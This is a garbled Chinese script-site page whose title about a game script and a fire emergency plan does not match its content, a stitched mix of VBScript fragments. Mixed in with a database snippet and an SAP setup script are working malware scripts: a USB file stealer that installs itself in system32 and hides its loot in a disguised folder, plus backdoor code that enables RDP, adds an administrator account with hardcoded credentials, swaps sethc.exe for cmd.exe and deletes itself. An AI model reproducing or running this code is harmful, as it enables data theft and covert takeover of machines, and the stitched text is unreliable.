魔兽兄弟脚本编写发生火灾应急预案

发布时间:2021-12-19 来源:脚本之家 点击:

读入数据库文件的代码如下:
DimDatabasenameAsString
Databasename=GetIniS("数据库","职工","")
IfDatabaseName=""ThenDatabaseName=InputBox("请输入数据库《职工》的目录"),
App.Title)'也可通过"文件对话框"进行选择
OnErrorResumeNext
Setdb=OpenDatabas(DatabaseName)
IfErr<>0Then
MsgBox"打开数据库失败!",MB-
ICONSTOP,App.Title:GotoErrorProcessing
Else
SetIniS"数据库","职工",DatabaseName
EndIf
OnErrorGoTo0
……
实例2:

为了方便用户操作,有时需要保存用户界面的某些信息,例如窗口的高度和宽度等
oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

云顶之脚本

'SAP设置脚本
'编写:SCZ2005.04.20
'最后修改日期:2005.04.22
'必须存在目录:BW(补丁文件)和登入界面
'========================================================================
'全局变量、处理过程
'========================================================================
WScript.Echo"该脚本只能正常运行在WIN2000/XP/2003的操作系统管理员权限下,按'确定'继续"
SetobjFSO=CreateObject("Scripting.FileSystemObject")'文件系统对象
strWindir=GetWindir()'获取WINDOWS目录
strSystem=GetSystemPath()'获取System目录
strSapPath=GetSAPPath()'SAPFrontEnd目录
strSapGuiPath=strSapPath&"SAPgui"'SapGui目录
strSapBWPath=strSapPath&"BW"'BW目录
strHostPath=GetHostFilePath()'host文件所在目录
strServicesPath=GetServicesPath()'services文件所在目录

CallCopyFiles()'复制文件
CallModifyHost(strHostPath)'修改HOST文件
CallModifyServices(strServicesPath)'修改SERVICES文件
CallSetEvn(strSapGuiPath)'设置环境变量
CallSetTCPIP(strServicesPath)'修改TCPIP参数
WScript.Echo"BW设置处理完毕,请手动安装SAP系统补丁"



'========================================================================
'通过注册获取SAPFrontEnd目录
'========================================================================
FunctionGetSAPPath()
ConstHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetobjReg=GetObject("winmgmts:{impersonationLevel=impersonate}!"&_
strComputer&"ootdefault:StdRegProv")

strKeyPath="SOFTWARESAPSAPShared"
strEntryName="SAPdestdir"
objReg.GetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strEntryName,strValue
GetSAPPath=strValue
IfIsNull(strValue)Then
Wscript.Echo"SAP注册信息读取失败,SAP未安装或系统已损坏,安装终止"
Err.Raise(507)
Err.Clear
EndIf
EndFunction


'========================================================================
'获取WINDOWS目录
'========================================================================
FunctionGetWindir()
ConstWindowFolder=0
SetGetWindir=objFSO.GetSpecialFolder(WindowFolder)
EndFunction


'========================================================================
'获取SYSTEM目录
'========================================================================
FunctionGetSystemPath()
ConstSystemFolder=1
SetGetSystemPath=objFSO.GetSpecialFolder(SystemFolder)
EndFunction


'========================================================================
'获取HOST文件所在目录
'========================================================================
FunctionGetHostFilePath()
GetHostFilePath=strSystem&"driversetc"
EndFunction


'========================================================================
'获取Services文件所在目录
'========================================================================
FunctionGetServicesPath()
GetServicesPath=strSystem&"driversetc"
EndFunction

'========================================================================
'复制文件
'========================================================================
FunctionCopyFiles()
IfNOTobjFSO.FolderExists(strSapBWPath)Then
WScript.Echo"BW组件未安装,请先安装SAP的BW组件,再运行该脚本"
Err.Raise(507)
Err.Clear
EndIf

CallClearAttribs(strSapBWPath)

objFSO.CopyFile"登陆界面*.ini",strWindir
objFSO.CopyFile"BWgssntlm.dll",strSapGuiPath&"gssntlm.dll"
objFSO.CopyFile"BWsncgss32.dll",strSystem&"sncgss32.dll"

strBakFolder=strSapBWPath&"ak"
IFNOTobjFSO.FolderExists(strBakFolder)Then
objFSO.CreateFolder(strBakFolder)
Else
CallClearAttribs(strBakFolder)
EndIf

objFSO.CopyFilestrSapBWPath&"*.xla",strBakFolder
objFSO.CopyFile"BW*.xla",strSapBWPath
EndFunction

'========================================================================
'去除文件只读属性
'========================================================================
FunctionClearAttribs(strFolder)
CallClearFileAttrib(strFolder&"sapbex.xla")
CallClearFileAttrib(strFolder&"sapbexc.xla")
CallClearFileAttrib(strFolder&"sapbexs.xla")
CallClearFileAttrib(strFolder&"sapbex0.xla")
CallClearFileAttrib(strSystem&"sncgss32.dll")
EndFunction

'========================================================================
'去除文件只读属性
'========================================================================
FunctionClearFileAttrib(strFile)
IfobjFSO.FileExists(strFile)Then
Setf=objFSO.GetFile(strFile)
f.Attributes=0
EndIf
EndFunction

'========================================================================
'修改HOST文件
'========================================================================
FunctionModifyHost(strHostPath)
strHostFile=strHostPath&"hosts"
strHostBak=strHostPath&"hosts.bak"
ConstForReading=1,ForWriting=2,ForAppending=8
objFSO.CopyFilestrHostFile,strHostBak
SetobjFile=objFSO.OpenTextFile(strHostFile,ForReading,False)
strContents=objFile.ReadAll
objFile.Close

SetobjFile=objFSO.OpenTextFile(strHostFile,ForAppending,False)
objFile.WriteBlankLines1
compResult=Instr(strContents,"192.168.0.136")
IfcompResult=0ThenobjFile.WriteLine("192.168.0.136"&Chr(9)&"bwprd")
compResult=Instr(strContents,"192.168.0.135")
IfcompResult=0ThenobjFile.WriteLine("192.168.0.135"&Chr(9)&"bwdev")
compResult=Instr(strContents,"192.168.0.171")
IfcompResult=0ThenobjFile.WriteLine("192.168.0.171"&Chr(9)&"bwqas")
objFile.close
EndFunction

'========================================================================
'修改SERVICES文件
'========================================================================
FunctionModifyServices(strServicesPath)
strServicesFile=strServicesPath&"services"
strServicesbak=strServicesPath&"services.bak"
ConstForReading=1,ForWriting=2,ForAppending=8
objFSO.CopyFilestrServicesFile,strServicesbak
SetobjFile=objFSO.OpenTextFile(strServicesFile,ForReading,False)
strContents=objFile.ReadAll
objFile.Close

SetobjFile=objFSO.OpenTextFile(strServicesFile,ForAppending,False)
objFile.WriteBlankLines1
compResult=Instr(strContents,"sapmsP01")
IfcompResult=0ThenobjFile.WriteLine("sapmsP01"&Chr(9)&"3600/tcp")
objFile.Close
EndFunction

'========================================================================
'设置环境变量
'------------------------------------------------------------------------
FunctionSetEvn(strSapGuiPath)
strComputer="."
SetobjWMIService=GetObject("winmgmts:"&strComputer&"ootcimv2")
SetcolItems=objWMIService.ExecQuery("Select*fromWin32_Environmentwherename='SNC_LIB'")
Found=False

ForEachobjItemincolItems
IfUCase(objItem.Name)="SNC_LIB"Then
Found=True
objItem.VariableValue=strSapGuiPath&"gssntlm.dll"
objItem.Put_
EndIf
Next

If(Found=False)Then
SetoEvn=objWMIService.Get("Win32_Environment").Spawninstance_
oEvn.Name="SNC_LIB"
oEvn.VariableValue=strSapGuiPath&"gssntlm.dll"
oEvn.SystemVariable=True
oEvn.UserName="<SYSTEM>"
oEvn.Status="OK"
SetoPath=oEvn.Put_
EndIf

EndFunction

'========================================================================

'========================================================================
'设置TCP/IP参数
'------------------------------------------------------------------------
FunctionSetTCPIP(strServicesPath)
ConstHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetobjReg=GetObject("winmgmts:{impersonationLevel=impersonate}!"&_
strComputer&"ootdefault:StdRegProv")

strKeyPath="SYSTEMCurrentControlSetServicesTcpipParameters"
strEntryName="DataBasePath"
objReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strEntryName,strServicesPath
EndFunction
'========================================================================

Y1:椭圆中心点之Y轴位置,但以Form的实№边界为限

如果 string 是零长度字符串 (""),则返回零长度字符串

1、SaveSetting语句

语法:SaveSettingappname,section,key,setting

2、GetAllSettings函数

语法:GetAllSettings(appname,section)

3、GetSetting函数

语法:GetSetting(appname,scetion,key[,default])

4、DeleteSetting语句

语法:DeleteSettingappname,section,[key]

参数含义:

appname:字符串表达式,应用程序名

section:字符串表达式,小节名

key:字符串表达式,关键字名

setting:表达式,关键字设定值

下面通过实例来说明它们的用法:应用程序名为jld_app,小节名为startup,关键字为left


但是如果用户实际上选择了文件并单击了“确定”,那该怎么办?在这种情况下,intResult 将被设置为
-1,“FileDialog”属性将被设置为所选文件的路径名
----这就是利用了MsgBox语句的结果

"
Err.Clear
endif

Next


查询oracle数据库


  概而言之,编VB程序就是首先根据你的需要放置对象,设置对象的属性,然后为你所想要的对象事件编制过程,通过过程完成你预期的目的on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set StdOut=WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName="fDenyTSConnections"
dwValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号